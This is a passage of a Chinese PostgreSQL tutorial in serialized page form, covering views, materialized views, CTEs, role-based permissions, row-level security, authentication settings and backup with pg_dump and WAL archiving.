'paid';\n",[22,42858,42859,42864,42869,42873],{"__ignoreMap":314},[331,42860,42861],{"class":333,"line":334},[331,42862,42863],{},"CREATE VIEW v_paid_orders AS\n",[331,42865,42866],{"class":333,"line":341},[331,42867,42868],{},"SELECT id, user_id, amount, paid_at\n",[331,42870,42871],{"class":333,"line":357},[331,42872,39842],{},[331,42874,42875],{"class":333,"line":371},[331,42876,42877],{},"WHERE status = 'paid';\n",[11,42879,42880,42881,42884],{},"视图的两个常规用途：给前端\u002FBI 一个稳定的「表样子」，和给低权限账号一个只露部分列的口子（配合 GRANT，第十一章）。PG 的特色是",[17,42882,42883],{},"简单视图自动可更新","——只要视图是单表直出（没有 GROUP BY\u002F聚合\u002FDISTINCT\u002F窗口\u002F集合操作），对它的 INSERT\u002FUPDATE\u002FDELETE 会自动改到原表上：",[308,42886,42888],{"className":37560,"code":42887,"language":37562,"meta":314,"style":314},"UPDATE v_paid_orders SET amount = 99.00 WHERE id = 42;   -- 直接生效\n",[22,42889,42890],{"__ignoreMap":314},[331,42891,42892],{"class":333,"line":334},[331,42893,42887],{},[11,42895,42896,42897,42900],{},"再加 ",[22,42898,42899],{},"WITH CHECK OPTION","，连「改完就掉出视图可见范围」的行都会被拒绝，防止通过视图越权改数据。",[53,42902,42904],{"id":42903},"第二步物化视图昂贵报表落盘","第二步：物化视图——昂贵报表落盘",[11,42906,42907,42908,322],{},"普通视图每次查询都现算；物化视图把结果",[17,42909,42910],{},"落盘",[308,42912,42914],{"className":37560,"code":42913,"language":37562,"meta":314,"style":314},"CREATE MATERIALIZED VIEW mv_daily_sales AS\nSELECT date_trunc('day', paid_at) AS day, sum(amount) AS amt\nFROM orders WHERE status = 'paid' GROUP BY 1;\n\nREFRESH MATERIALIZED VIEW mv_daily_sales;                 -- 全量刷，期间查询被阻塞\nCREATE UNIQUE INDEX ON mv_daily_sales (day);              -- 前置条件\nREFRESH MATERIALIZED VIEW CONCURRENTLY mv_daily_sales;    -- 不阻塞读\n",[22,42915,42916,42921,42926,42931,42935,42940,42945],{"__ignoreMap":314},[331,42917,42918],{"class":333,"line":334},[331,42919,42920],{},"CREATE MATERIALIZED VIEW mv_daily_sales AS\n",[331,42922,42923],{"class":333,"line":341},[331,42924,42925],{},"SELECT date_trunc('day', paid_at) AS day, sum(amount) AS amt\n",[331,42927,42928],{"class":333,"line":357},[331,42929,42930],{},"FROM orders WHERE status = 'paid' GROUP BY 1;\n",[331,42932,42933],{"class":333,"line":371},[331,42934,998],{"emptyLinePlaceholder":997},[331,42936,42937],{"class":333,"line":384},[331,42938,42939],{},"REFRESH MATERIALIZED VIEW mv_daily_sales;                 -- 全量刷，期间查询被阻塞\n",[331,42941,42942],{"class":333,"line":397},[331,42943,42944],{},"CREATE UNIQUE INDEX ON mv_daily_sales (day);              -- 前置条件\n",[331,42946,42947],{"class":333,"line":418},[331,42948,42949],{},"REFRESH MATERIALIZED VIEW CONCURRENTLY mv_daily_sales;    -- 不阻塞读\n",[11,42951,42952,42953,42956],{},"定个任务凌晨全量刷，白天报表直接查物化视图，一笔流水一笔账。",[22,42954,42955],{},"CONCURRENTLY"," 的两个前提见坑 2。",[53,42958,42960],{"id":42959},"第三步cte拆步骤与遍历树","第三步：CTE——拆步骤与遍历树",[11,42962,42963],{},"「起名字、拆步骤」，多个 CTE 依次引用：",[308,42965,42967],{"className":37560,"code":42966,"language":37562,"meta":314,"style":314},"WITH recent AS (\n  SELECT * FROM orders WHERE created_at > now() - interval '7 days'\n),\nbig AS (\n  SELECT * FROM recent WHERE amount > 1000\n)\nSELECT count(*) FROM big;\n",[22,42968,42969,42974,42979,42983,42988,42993,42997],{"__ignoreMap":314},[331,42970,42971],{"class":333,"line":334},[331,42972,42973],{},"WITH recent AS (\n",[331,42975,42976],{"class":333,"line":341},[331,42977,42978],{},"  SELECT * FROM orders WHERE created_at > now() - interval '7 days'\n",[331,42980,42981],{"class":333,"line":357},[331,42982,30187],{},[331,42984,42985],{"class":333,"line":371},[331,42986,42987],{},"big AS (\n",[331,42989,42990],{"class":333,"line":384},[331,42991,42992],{},"  SELECT * FROM recent WHERE amount > 1000\n",[331,42994,42995],{"class":333,"line":397},[331,42996,972],{},[331,42998,42999],{"class":333,"line":418},[331,43000,43001],{},"SELECT count(*) FROM big;\n",[11,43003,43004],{},"树形结构（部门、评论楼层、物料清单）的遍历神器是递归 CTE：",[308,43006,43008],{"className":37560,"code":43007,"language":37562,"meta":314,"style":314},"WITH RECURSIVE sub AS (\n  -- 种子：起点\n  SELECT id, name, parent_id, 1 AS depth FROM depts WHERE id = 2\n  UNION ALL\n  -- 递归：从上一轮结果往下走一层\n  SELECT d.id, d.name, d.parent_id, s.depth + 1\n  FROM depts d JOIN sub s ON d.parent_id = s.id\n)\nSELECT * FROM sub ORDER BY depth;\n",[22,43009,43010,43015,43020,43025,43030,43035,43040,43045,43049],{"__ignoreMap":314},[331,43011,43012],{"class":333,"line":334},[331,43013,43014],{},"WITH RECURSIVE sub AS (\n",[331,43016,43017],{"class":333,"line":341},[331,43018,43019],{},"  -- 种子：起点\n",[331,43021,43022],{"class":333,"line":357},[331,43023,43024],{},"  SELECT id, name, parent_id, 1 AS depth FROM depts WHERE id = 2\n",[331,43026,43027],{"class":333,"line":371},[331,43028,43029],{},"  UNION ALL\n",[331,43031,43032],{"class":333,"line":384},[331,43033,43034],{},"  -- 递归：从上一轮结果往下走一层\n",[331,43036,43037],{"class":333,"line":397},[331,43038,43039],{},"  SELECT d.id, d.name, d.parent_id, s.depth + 1\n",[331,43041,43042],{"class":333,"line":418},[331,43043,43044],{},"  FROM depts d JOIN sub s ON d.parent_id = s.id\n",[331,43046,43047],{"class":333,"line":427},[331,43048,972],{},[331,43050,43051],{"class":333,"line":439},[331,43052,43053],{},"SELECT * FROM sub ORDER BY depth;\n",[308,43055,43058],{"className":43056,"code":43057,"language":313,"meta":314},[311]," id |  name   | parent_id | depth\n----+---------+-----------+-------\n  2 | 技术部  |         1 |     1\n  5 | 后端组  |         2 |     2\n  6 | 前端组  |         2 |     2\n  9 | 平台小队 |         5 |     3\n(4 rows)\n",[22,43059,43057],{"__ignoreMap":314},[11,43061,43062,43063,43066],{},"还有一个冷门但极顺手的用法：",[17,43064,43065],{},"数据修改 CTE","，一条语句完成「删 A 表搬进 B 表」，还天然原子：",[308,43068,43070],{"className":37560,"code":43069,"language":37562,"meta":314,"style":314},"WITH moved AS (\n  DELETE FROM jobs_done WHERE created_at \u003C now() - interval '30 days'\n  RETURNING *\n)\nINSERT INTO jobs_archive SELECT * FROM moved;\n",[22,43071,43072,43077,43082,43087,43091],{"__ignoreMap":314},[331,43073,43074],{"class":333,"line":334},[331,43075,43076],{},"WITH moved AS (\n",[331,43078,43079],{"class":333,"line":341},[331,43080,43081],{},"  DELETE FROM jobs_done WHERE created_at \u003C now() - interval '30 days'\n",[331,43083,43084],{"class":333,"line":357},[331,43085,43086],{},"  RETURNING *\n",[331,43088,43089],{"class":333,"line":371},[331,43090,972],{},[331,43092,43093],{"class":333,"line":384},[331,43094,43095],{},"INSERT INTO jobs_archive SELECT * FROM moved;\n",[53,43097,4796],{"id":12191},[11,43099,43100,43103,43104,43107],{},[17,43101,43102],{},"1. 视图不物化，就是每次都现算。"," 普通视图只是一段被起名的 SQL，",[22,43105,43106],{},"SELECT * FROM v_paid_orders"," 展开后该扫多少行还是多少行；报表慢的时候别怪视图，要么加索引，要么按第二步物化。",[11,43109,43110,43116,43117,43119,43120,43123,43124,43127,43128,43130],{},[17,43111,5672,43112,43115],{},[22,43113,43114],{},"REFRESH MATERIALIZED VIEW"," 全量刷期间查询被阻塞","，想不阻塞读必须用 ",[22,43118,42955],{},"，而它的前提是物化视图上有一个",[17,43121,43122],{},"唯一索引","（上面示例里那行 ",[22,43125,43126],{},"CREATE UNIQUE INDEX"," 就是前置条件）。另外 ",[22,43129,42955],{}," 只更新变化的行，代价是更依赖 diff 键，唯一索引选错列会刷得很慢。",[11,43132,43133,43136,43137,43140],{},[17,43134,43135],{},"3. 「CTE 会慢」是老版本的结论。"," PG 12 之前 CTE 是优化围栏（外面怎么查都不下推进去），PG 12 起默认内联优化，想强制物化要写 ",[22,43138,43139],{},"AS MATERIALIZED","。所以看资料要看版本：新集群里把子查询改写成 CTE 通常只是可读性收益，不背性能锅。",[11,43142,43143,268,43146,43149,43150,43153,43154,43157,43158,43161,43162,43165],{},[17,43144,43145],{},"4. 递归 CTE 忘写终止条件会无限循环。",[22,43147,43148],{},"UNION"," 会对结果去重、还能兜住意外死循环；",[22,43151,43152],{},"UNION ALL"," 不去重更快，但",[17,43155,43156],{},"忘写递归终止条件（JOIN 不再产新行）就会无限循环","——调试期先加 ",[22,43159,43160],{},"LIMIT 100"," 再跑，是保命习惯。数据里存在环（A 的父是 B、B 的父是 A）时同样会转不出来，PG 14 起可用 ",[22,43163,43164],{},"CYCLE ... SET"," 子句标记环路行。",[11,43167,43168,43171,43172,43175],{},[17,43169,43170],{},"5. 数据修改 CTE 的「原子」是语句级的。"," 上面那段「删 + 搬」在同一条语句里，但 CTE 内的可见性遵循所在事务的隔离级别：READ COMMITTED 下，",[22,43173,43174],{},"moved"," 里看不到并发刚提交的其它行变更，别把它当成「读己之写」的万能方案。",[48,43177,43179],{"id":43178},"十一用户和角色权限落到位","十一、用户和角色：权限落到位",[11,43181,43182],{},"本章第一步讲权限的标准落法——授给组、人挂组；第二步把它用在应用账号上；第三步是多租户的 RLS。认证方式表和权限相关的坑放在章末。",[53,43184,43186],{"id":43185},"第一步权限给组人挂组","第一步：权限给组，人挂组",[11,43188,43189,43190,43193,43194,43197,43198,43201,43202,322],{},"PG 里",[17,43191,43192],{},"只有一种对象叫 role","：「用户」就是带 ",[22,43195,43196],{},"LOGIN"," 属性能连库的 role，「用户组」就是不带 LOGIN 的 role。官方文档的说法是「一个 role 可以当用户、也可以当用户组，取决于你怎么配它」，而",[17,43199,43200],{},"主流做法就是把权限授给组，再把需要的人加进组","——而不是逐个用户去 ",[22,43203,43204],{},"GRANT",[308,43206,43208],{"className":37560,"code":43207,"language":37562,"meta":314,"style":314},"-- 1) 建一个「只读组」：它自己连不了库，只是权限容器\nCREATE ROLE read_only NOLOGIN;\nGRANT USAGE ON SCHEMA business TO read_only;\nGRANT SELECT ON ALL TABLES IN SCHEMA business TO read_only;\nALTER DEFAULT PRIVILEGES IN SCHEMA business GRANT SELECT ON TABLES TO read_only;\n\n-- 2) 建用户并挂进组\nCREATE ROLE zhangsan LOGIN PASSWORD '...';\nGRANT read_only TO zhangsan;\n\n-- 3) 以后新同事也只看数据？一行就够\nCREATE ROLE lisi LOGIN PASSWORD '...';\nGRANT read_only TO lisi;\n",[22,43209,43210,43215,43220,43225,43230,43235,43239,43244,43249,43254,43258,43263,43268],{"__ignoreMap":314},[331,43211,43212],{"class":333,"line":334},[331,43213,43214],{},"-- 1) 建一个「只读组」：它自己连不了库，只是权限容器\n",[331,43216,43217],{"class":333,"line":341},[331,43218,43219],{},"CREATE ROLE read_only NOLOGIN;\n",[331,43221,43222],{"class":333,"line":357},[331,43223,43224],{},"GRANT USAGE ON SCHEMA business TO read_only;\n",[331,43226,43227],{"class":333,"line":371},[331,43228,43229],{},"GRANT SELECT ON ALL TABLES IN SCHEMA business TO read_only;\n",[331,43231,43232],{"class":333,"line":384},[331,43233,43234],{},"ALTER DEFAULT PRIVILEGES IN SCHEMA business GRANT SELECT ON TABLES TO read_only;\n",[331,43236,43237],{"class":333,"line":397},[331,43238,998],{"emptyLinePlaceholder":997},[331,43240,43241],{"class":333,"line":418},[331,43242,43243],{},"-- 2) 建用户并挂进组\n",[331,43245,43246],{"class":333,"line":427},[331,43247,43248],{},"CREATE ROLE zhangsan LOGIN PASSWORD '...';\n",[331,43250,43251],{"class":333,"line":439},[331,43252,43253],{},"GRANT read_only TO zhangsan;\n",[331,43255,43256],{"class":333,"line":450},[331,43257,998],{"emptyLinePlaceholder":997},[331,43259,43260],{"class":333,"line":456},[331,43261,43262],{},"-- 3) 以后新同事也只看数据？一行就够\n",[331,43264,43265],{"class":333,"line":775},[331,43266,43267],{},"CREATE ROLE lisi LOGIN PASSWORD '...';\n",[331,43269,43270],{"class":333,"line":785},[331,43271,43272],{},"GRANT read_only TO lisi;\n",[11,43274,43275,43276,43279,43280,6745,43282,43285,43286,43289,43290,43293],{},"这样管的好处很实在：权限的定义只有一份（在组上），进人出人只是成员关系的变化；哪天要收权，",[22,43277,43278],{},"REVOKE ... FROM read_only"," 一次生效，不用去回忆「当初到底给哪几个人单独授过」；审计时 ",[22,43281,37389],{},[22,43283,43284],{},"information_schema.role_table_grants"," 一眼能看清「谁能看什么」。",[22,43287,43288],{},"CREATE USER"," 只是 ",[22,43291,43292],{},"CREATE ROLE ... LOGIN"," 的别名，见到别慌。",[11,43295,43296,43299,43300,43303,43304,43307,43308,43311,43312,43315,43316,43319,43320,43323,43324,43327],{},[17,43297,43298],{},"成员默认会自动继承组的权限","（role 属性 ",[22,43301,43302],{},"INHERIT"," 是默认值），所以 ",[22,43305,43306],{},"zhangsan"," 挂进 ",[22,43309,43310],{},"read_only"," 之后直接 ",[22,43313,43314],{},"SELECT"," 就能用，不需要 ",[22,43317,43318],{},"SET ROLE","。反过来说，如果建用户时写了 ",[22,43321,43322],{},"NOINHERIT","，成员关系还在、权限却拿不到，得显式 ",[22,43325,43326],{},"SET ROLE read_only;"," 才生效——见本章坑 3。",[53,43329,43331],{"id":43330},"第二步应用账号的最小权限模板","第二步：应用账号的最小权限模板",[11,43333,43334],{},"应用账号不该是 owner、更不该是超级用户，照抄这套（它正是第一步那套思路用在服务账号上：应用账号只拿增删改查，建表归迁移账号）：",[308,43336,43338],{"className":37560,"code":43337,"language":37562,"meta":314,"style":314},"-- 1. 收口：public schema 不再放业务表\nCREATE SCHEMA business AUTHORIZATION migrator;\nREVOKE CREATE ON SCHEMA public FROM PUBLIC;\n\n-- 2. 应用账号：只用不建\nCREATE ROLE app LOGIN PASSWORD '...';\nALTER ROLE app SET search_path = business, public;         -- 第三章说过：账号级固定查找路径，免得到处写前缀\nGRANT USAGE ON SCHEMA business TO app;\nGRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA business TO app;\nGRANT USAGE ON ALL SEQUENCES IN SCHEMA business TO app;   -- 第四章说过：identity\u002Fserial 的序列必须授，否则 INSERT 报错\nALTER DEFAULT PRIVILEGES IN SCHEMA business\n  GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app;   -- 开发明天建的新表自动生效\nALTER DEFAULT PRIVILEGES IN SCHEMA business\n  GRANT USAGE ON SEQUENCES TO app;\n",[22,43339,43340,43345,43350,43355,43359,43364,43369,43374,43379,43384,43389,43394,43399,43403],{"__ignoreMap":314},[331,43341,43342],{"class":333,"line":334},[331,43343,43344],{},"-- 1. 收口：public schema 不再放业务表\n",[331,43346,43347],{"class":333,"line":341},[331,43348,43349],{},"CREATE SCHEMA business AUTHORIZATION migrator;\n",[331,43351,43352],{"class":333,"line":357},[331,43353,43354],{},"REVOKE CREATE ON SCHEMA public FROM PUBLIC;\n",[331,43356,43357],{"class":333,"line":371},[331,43358,998],{"emptyLinePlaceholder":997},[331,43360,43361],{"class":333,"line":384},[331,43362,43363],{},"-- 2. 应用账号：只用不建\n",[331,43365,43366],{"class":333,"line":397},[331,43367,43368],{},"CREATE ROLE app LOGIN PASSWORD '...';\n",[331,43370,43371],{"class":333,"line":418},[331,43372,43373],{},"ALTER ROLE app SET search_path = business, public;         -- 第三章说过：账号级固定查找路径，免得到处写前缀\n",[331,43375,43376],{"class":333,"line":427},[331,43377,43378],{},"GRANT USAGE ON SCHEMA business TO app;\n",[331,43380,43381],{"class":333,"line":439},[331,43382,43383],{},"GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA business TO app;\n",[331,43385,43386],{"class":333,"line":450},[331,43387,43388],{},"GRANT USAGE ON ALL SEQUENCES IN SCHEMA business TO app;   -- 第四章说过：identity\u002Fserial 的序列必须授，否则 INSERT 报错\n",[331,43390,43391],{"class":333,"line":456},[331,43392,43393],{},"ALTER DEFAULT PRIVILEGES IN SCHEMA business\n",[331,43395,43396],{"class":333,"line":775},[331,43397,43398],{},"  GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app;   -- 开发明天建的新表自动生效\n",[331,43400,43401],{"class":333,"line":785},[331,43402,43393],{},[331,43404,43405],{"class":333,"line":795},[331,43406,43407],{},"  GRANT USAGE ON SEQUENCES TO app;\n",[11,43409,43410,43413,43414,43417],{},[22,43411,43412],{},"ALTER DEFAULT PRIVILEGES"," 解决的是「今天授了 ALL TABLES，明天新建的表又没权限」的补漏问题——它登记的是「",[17,43415,43416],{},"以后","谁建的表自动授给谁」。",[11,43419,43420,43421,43424,43425,43427,43428,43430,43431,43433],{},"服务账号要不要也套一层组？两种都算主流：讲究一点的做法是再建一个 ",[22,43422,43423],{},"rw_app"," 组拿权限、",[22,43426,39739],{}," 只做 ",[22,43429,43196],{}," 并挂进组，好处是将来换连接账号（改密码、换应用）不用重授一遍权；小团队直接授给 ",[22,43432,39739],{}," 也很常见。选定一种写进规范，别一半走组、一半直接授。",[53,43435,43437],{"id":43436},"第三步多租户再加一道-rls","第三步：多租户再加一道 RLS",[11,43439,43440],{},"「每个租户只能看见自己的行」如果只靠应用层 WHERE，一个忘写就跨租户泄漏。PG 的 RLS 把这条规则焊在表上：",[308,43442,43444],{"className":37560,"code":43443,"language":37562,"meta":314,"style":314},"ALTER TABLE orders ENABLE ROW LEVEL SECURITY;\n\nCREATE POLICY tenant_isolation ON orders\n  USING (tenant_id = current_setting('app.tenant_id')::bigint)\n  WITH CHECK (tenant_id = current_setting('app.tenant_id')::bigint);\n",[22,43445,43446,43451,43455,43460,43465],{"__ignoreMap":314},[331,43447,43448],{"class":333,"line":334},[331,43449,43450],{},"ALTER TABLE orders ENABLE ROW LEVEL SECURITY;\n",[331,43452,43453],{"class":333,"line":341},[331,43454,998],{"emptyLinePlaceholder":997},[331,43456,43457],{"class":333,"line":357},[331,43458,43459],{},"CREATE POLICY tenant_isolation ON orders\n",[331,43461,43462],{"class":333,"line":371},[331,43463,43464],{},"  USING (tenant_id = current_setting('app.tenant_id')::bigint)\n",[331,43466,43467],{"class":333,"line":384},[331,43468,43469],{},"  WITH CHECK (tenant_id = current_setting('app.tenant_id')::bigint);\n",[11,43471,43472,43473,43476],{},"应用连接后执行 ",[22,43474,43475],{},"SET app.tenant_id = '42';","，之后这张表上所有查询自动带上租户过滤（USING），所有写入自动校验租户归属（WITH CHECK）。",[53,43478,4796],{"id":13368},[11,43480,43481,43484,43485,43488,43489,161],{},[17,43482,43483],{},"1. 表 owner 和超级用户默认绕过 RLS。"," 开了 ",[22,43486,43487],{},"ENABLE ROW LEVEL SECURITY"," 却用 owner 账号连，策略一条都不生效——测试时「明明配了策略怎么还能看见别人的数据」多半是这个。想连自己也拦，要 ",[22,43490,43491],{},"ALTER TABLE orders FORCE ROW LEVEL SECURITY",[11,43493,43494,268,43497,43500,43501,43504,43505,43508],{},[17,43495,43496],{},"2. 连接池 + RLS = 串数据风险。",[22,43498,43499],{},"SET app.tenant_id"," 的作用域是会话级，连接归还进池子时值还在。下个租户复用这条连接，就看到上一个租户的数据。必须归还前 ",[22,43502,43503],{},"RESET app.tenant_id","，或者用事务级的 ",[22,43506,43507],{},"SET LOCAL","（事务结束自动失效）。",[11,43510,43511,43514,43515,43518,43519,43521,43522,43524,43525,43527,43528,43530,43531,43534,43535,43537],{},[17,43512,43513],{},"3. 组权限「给了却没生效」，先看成员是不是 NOINHERIT。"," 权限授给了组、人也挂进了组，查询仍报 ",[22,43516,43517],{},"permission denied for table orders","——先用 ",[22,43520,37389],{}," 看那个用户的属性列。成员角色默认带 ",[22,43523,43302],{},"，会自动继承组权限；但如果建号时写了 ",[22,43526,43322],{},"，成员关系只等于「有资格切换」，必须显式 ",[22,43529,43326],{}," 才拿得到权限。新版本还能在单次授予上单独控制：",[22,43532,43533],{},"GRANT read_only TO zhangsan WITH INHERIT FALSE;","。团队里规范只选一个：要么一路用默认的 INHERIT，要么写明「必须 SET ROLE」，两种混用最难排查。顺带一条：组角色是 NOLOGIN 的，拿 ",[22,43536,43310],{}," 直接连库必然失败，那不是权限没配好。",[11,43539,43540,43546,43547,43549,43550,43553,43554,43557],{},[17,43541,7689,43542,43545],{},[22,43543,43544],{},"GRANT ... ON ALL TABLES"," 只管当下。"," 它不会覆盖以后新建的表，忘了 ",[22,43548,43412],{}," 就会出现「昨天还好好的，今天上线新表应用就报 ",[22,43551,43552],{},"permission denied for table ...","」。另外它登记的是「",[17,43555,43556],{},"谁","建的表」，用 A 账号建的表、给 B 账号登记过默认权限，也不会自动生效。",[11,43559,43560,43563,43564,43567],{},[17,43561,43562],{},"5. 表 owner 天生全权，GRANT 收不走。"," owner 随时能 ",[22,43565,43566],{},"DROP"," 自己的表，任何授权都限制不了它。所以生产环境里「迁移专用账号」当 owner、应用账号只拿增删改查，两层分开。",[11,43569,43570,43576,43577,43579,43580,161],{},[17,43571,7717,43572,43575],{},[22,43573,43574],{},"trust"," 出现在公网段等于开源。"," 认证方式一行写错，等于没密码。",[22,43578,43574],{}," 只允许出现在本机测试；对外一律 ",[22,43581,43582],{},"scram-sha-256",[11,43584,43585,268,43591,43594],{},[17,43586,43587,43588,43590],{},"7. 改完 ",[22,43589,37190],{}," 不重启也要 reload。",[22,43592,43593],{},"SELECT pg_reload_conf();"," 就够（连接数、内存类参数才要重启）。忘了 reload 会白排查半小时。",[11,43596,43597,43600,43601,43603,43604,6745,43607,43610],{},[17,43598,43599],{},"8. 老 md5 密码要重设一次才升级。"," PG 14 起默认加密方式是 SCRAM，但库里存量的 md5 密码不会自动变，得用 ",[22,43602,37186],{}," 重设一次。两端不一致时报的是 ",[22,43605,43606],{},"password authentication failed",[22,43608,43609],{},"server does not support SCRAM","，看不出根因。",[11,43612,43613,43618,43619,43622,43623,43625],{},[17,43614,43615,43616,161],{},"9. 排查「怎么连都失败」先看 ",[22,43617,37190],{}," 规则",[17,43620,43621],{},"从上往下第一条命中即生效","，尤其 ",[22,43624,37281],{}," 走的本机 socket 默认是 trust，而 TCP 进来要密码，两条路行为不同属正常（第二章坑 7 的另一面）。",[53,43627,43629],{"id":43628},"附角色与权限排查速查","附：角色与权限排查速查",[11,43631,43632],{},"「到底谁有什么权限」这类问题，靠这几条命令一次看清：",[57,43634,43635,43644],{},[60,43636,43637],{},[63,43638,43639,43642],{},[66,43640,43641],{},"想知道什么",[66,43643,9794],{},[79,43645,43646,43656,43666,43676,43689,43699,43709],{},[63,43647,43648,43651],{},[84,43649,43650],{},"有哪些角色、能不能登录、属于哪个组",[84,43652,43653,43655],{},[22,43654,37389],{},"（看 Attributes 与 Member of 两列）",[63,43657,43658,43661],{},[84,43659,43660],{},"角色属性的机器可读版",[84,43662,43663],{},[22,43664,43665],{},"SELECT rolname, rolcanlogin, rolinherit, rolcreaterole FROM pg_roles;",[63,43667,43668,43671],{},[84,43669,43670],{},"成员关系明细（谁挂进了哪个组）",[84,43672,43673],{},[22,43674,43675],{},"SELECT r.rolname AS member, g.rolname AS grp FROM pg_auth_members m JOIN pg_roles r ON r.oid=m.member JOIN pg_roles g ON g.oid=m.roleid;",[63,43677,43678,43681],{},[84,43679,43680],{},"某张表授给了谁",[84,43682,43683,43685,43686],{},[22,43684,37356],{}," 的 Access privileges，或 ",[22,43687,43688],{},"SELECT * FROM information_schema.role_table_grants WHERE table_name='orders';",[63,43690,43691,43694],{},[84,43692,43693],{},"某人是不是在某组里",[84,43695,43696],{},[22,43697,43698],{},"SELECT pg_has_role('zhangsan', 'read_only', 'member');",[63,43700,43701,43704],{},[84,43702,43703],{},"某人能不能查这张表",[84,43705,43706],{},[22,43707,43708],{},"SELECT has_table_privilege('zhangsan', 'business.orders', 'SELECT');",[63,43710,43711,43714],{},[84,43712,43713],{},"临时以组的身份执行",[84,43715,43716,4839,43719,43721],{},[22,43717,43718],{},"SET ROLE read_only; … RESET ROLE;",[22,43720,43322],{}," 成员必须走这一步）",[53,43723,43725],{"id":43724},"附pg_hba-认证方式速查","附：pg_hba 认证方式速查",[11,43727,43728,43729,43731,43732,322],{},"连接认证由数据目录里的 ",[22,43730,37190],{}," 决定，五行一列（类型 数据库 用户 地址 认证方式），",[17,43733,43621],{},[57,43735,43736,43748],{},[60,43737,43738],{},[63,43739,43740,43742,43745],{},[66,43741,24591],{},[66,43743,43744],{},"行为",[66,43746,43747],{},"评价",[79,43749,43750,43762,43780,43793],{},[63,43751,43752,43756,43759],{},[84,43753,43754],{},[22,43755,43574],{},[84,43757,43758],{},"免密直连",[84,43760,43761],{},"只允许出现在本机测试，出现在公网段等于开源",[63,43763,43764,43768,43771],{},[84,43765,43766],{},[22,43767,43582],{},[84,43769,43770],{},"密码走 SCRAM 挑战",[84,43772,43773,43776,43777,43779],{},[17,43774,43775],{},"推荐","。PG 14 起默认加密方式即它；旧 md5 密码用 ",[22,43778,37186],{}," 重设一次自动升级",[63,43781,43782,43787,43790],{},[84,43783,43784],{},[22,43785,43786],{},"peer",[84,43788,43789],{},"校验本机 OS 用户同名",[84,43791,43792],{},"本机管理入口的舒适区",[63,43794,43795,43800,43803],{},[84,43796,43797],{},[22,43798,43799],{},"reject",[84,43801,43802],{},"显式拒绝",[84,43804,43805],{},"垫在规则末尾封禁网段",[48,43807,43809],{"id":43808},"十二备份与恢复pg_dump物理备份与-pitr","十二、备份与恢复：pg_dump、物理备份与 PITR",[11,43811,43812,43813,43816],{},"先立总原则：",[17,43814,43815],{},"没恢复过的备份不算备份","。本章的每个命令，都值得在实验容器里跑一遍。第一遍只需要会第一步的逻辑备份与恢复。",[53,43818,43820],{"id":43819},"第一步一次完整的逻辑备份与恢复","第一步：一次完整的逻辑备份与恢复",[308,43822,43824],{"className":3902,"code":43823,"language":3904,"meta":314,"style":314},"pg_dump -U postgres -Fc -f shop-20261010.dump shop    # -Fc 自定义压缩格式\nls -lh shop-20261010.dump                              # 214M\npg_restore -l shop-20261010.dump | head -12            # 先看目录再动手\npg_restore -j 4 --clean --if-exists -d shop shop-20261010.dump\n",[22,43825,43826,43849,43861,43881],{"__ignoreMap":314},[331,43827,43828,43830,43832,43834,43837,43840,43843,43846],{"class":333,"line":334},[331,43829,37819],{"class":501},[331,43831,36947],{"class":344},[331,43833,36950],{"class":365},[331,43835,43836],{"class":344}," -Fc",[331,43838,43839],{"class":344}," -f",[331,43841,43842],{"class":365}," shop-20261010.dump",[331,43844,43845],{"class":365}," shop",[331,43847,43848],{"class":1003},"    # -Fc 自定义压缩格式\n",[331,43850,43851,43853,43856,43858],{"class":333,"line":341},[331,43852,16007],{"class":501},[331,43854,43855],{"class":344}," -lh",[331,43857,43842],{"class":365},[331,43859,43860],{"class":1003},"                              # 214M\n",[331,43862,43863,43866,43869,43871,43873,43875,43878],{"class":333,"line":357},[331,43864,43865],{"class":501},"pg_restore",[331,43867,43868],{"class":344}," -l",[331,43870,43842],{"class":365},[331,43872,15984],{"class":616},[331,43874,15987],{"class":501},[331,43876,43877],{"class":344}," -12",[331,43879,43880],{"class":1003},"            # 先看目录再动手\n",[331,43882,43883,43885,43888,43891,43894,43897,43899,43901],{"class":333,"line":371},[331,43884,43865],{"class":501},[331,43886,43887],{"class":344}," -j",[331,43889,43890],{"class":344}," 4",[331,43892,43893],{"class":344}," --clean",[331,43895,43896],{"class":344}," --if-exists",[331,43898,36867],{"class":344},[331,43900,43845],{"class":365},[331,43902,43903],{"class":365}," shop-20261010.dump\n",[11,43905,43906,43909,43910,4839,43913,43916,43917,43920,43921,43923],{},[22,43907,43908],{},"-Fc"," 自定义格式支持",[17,43911,43912],{},"并行恢复",[22,43914,43915],{},"-j 4","）、选择性恢复（",[22,43918,43919],{},"--table=orders"," 只捞一张表）、压缩，比裸 SQL 灵活得多。数据搬家用 ",[22,43922,37158],{},"（客户端侧 CSV，权限跟随当前用户）：",[308,43925,43928],{"className":43926,"code":43927,"language":313,"meta":314},[311],"\\copy products TO 'products.csv' WITH (FORMAT csv, HEADER true)\n\\copy products FROM 'products_bak.csv' WITH (FORMAT csv, HEADER true)\n",[22,43929,43927],{"__ignoreMap":314},[11,43931,43932,43933,43935],{},"大批量导入记得第八章的账：先删非约束索引、导完 ",[22,43934,41985],{}," 再重建。",[53,43937,43939],{"id":43938},"第二步wal-归档与-pitr-的最小配置","第二步：WAL 归档与 PITR 的最小配置",[11,43941,43942,43943,12714,43946,43949,43950,43953,43954,43957],{},"WAL（预写日志）是 PG 的 ",[22,43944,43945],{},"redo log",[22,43947,43948],{},"binlog"," 合体：每个数据页修改前先记日志，崩溃后靠它回放。",[17,43951,43952],{},"归档 WAL"," 就等于把「所有变更流水」存下来，配上一次完整的物理备份（basebackup），理论上可以恢复到",[17,43955,43956],{},"任意时间点","（PITR，即 Point-In-Time Recovery）：",[308,43959,43962],{"className":43960,"code":43961,"language":313,"meta":314},[311],"archive_mode = on\narchive_command = 'cp %p \u002Fvar\u002Flib\u002Fpostgresql\u002Farchive\u002F%f'   # 每个 WAL 段写完拷走\n\npg_basebackup -D \u002Fbackup\u002Fbase-20261010 -Fp -Xs -R\n# -Xs 流式同时拉 WAL，-R 生成恢复配置，顺带也是搭流复制的第一步\n",[22,43963,43961],{"__ignoreMap":314},[11,43965,43966,43967,43970,43971,43974,43975,43978],{},"误操作恢复（比如 14:32 有人 ",[22,43968,43969],{},"DROP TABLE","）的标准动作：起一台恢复机 → 拷入最近的 basebackup → 配置 ",[22,43972,43973],{},"restore_command"," 指向归档目录 + ",[22,43976,43977],{},"recovery_target_time = '14:31:00'","（事故前一分钟）→ 